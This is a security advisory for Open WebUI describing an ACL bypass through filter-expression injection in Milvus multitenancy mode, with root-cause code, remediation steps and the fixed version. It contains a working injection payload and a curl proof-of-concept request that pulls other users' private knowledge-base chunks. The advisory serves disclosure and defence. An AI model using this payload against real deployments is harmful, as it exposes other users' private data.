VDB
KO
MEDIUM 6.5

GHSA-p5cp-r7rg-qpxc

Open WebUI: RAG ACL Bypass in Milvus Multitenancy Mode

Details

# RAG ACL Bypass in Milvus Multitenancy Mode

## Summary

This is a bypass of the fix for:

- GHSA-h36f-rqpx-j5wx - CVE-2026-44560 - "Unauthorized File and Knowledge Base Content Access via RAG Vector Search"

Open WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a `resource_id` and is interpolated into a Milvus expression without escaping.

An authenticated non-admin user can query:

```text x' or resource_id != '' or resource_id == 'x ```

This passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:

```text resource_id == 'x' or resource_id != '' or resource_id == 'x' ```

That returns private knowledge-base chunks belonging to other users.

## Affected Configuration

Tested on:

```text Open WebUI: v0.9.5, commit 3660bc00f VECTOR_DB=milvus ENABLE_MILVUS_MULTITENANCY_MODE=true ```

This is **not a default-vector-store issue**. It affects **production deployments using Milvus multitenancy.**

## Impact

An authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.

## Root Cause

ACL permits unknown collection names:

```python # backend/open_webui/retrieval/utils.py elif not await Knowledges.get_knowledge_by_id(name): validated.add(name) ```

Milvus multitenancy then treats the same name as `resource_id` and builds unsafe expressions:

```python # backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py expr=f"{RESOURCE_ID_FIELD} == '{resource_id}'" ```

Affected paths include:

```text POST /api/v1/retrieval/query/collection POST /api/v1/retrieval/query/doc ```

## PoC

Request:

```bash curl -s -X POST "$TARGET/api/v1/retrieval/query/collection" \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H "Content-Type: application/json" \ --data-binary @- <<'JSON' { "collection_names": [ "x' or resource_id != '' or resource_id == 'x" ], "query": "anything", "k": 10, "hybrid": false } JSON ```

Actual result: private chunks from other users' knowledge collections are returned.

Expected result: request should be rejected with 403 or return no unauthorized content.

## Remediation

1. Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints. 2. Escape or parameterize Milvus expression values before building filters. 3. Reject collection names containing quotes/control characters unless they match a known internal format. 4. Add a regression test for this payload in Milvus multitenancy mode:

```text x' or resource_id != '' or resource_id == 'x ```

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI / open-webui
Introduced in: 0 Fixed in: 0.9.6
Fix pip install --upgrade 'open-webui>=0.9.6'

References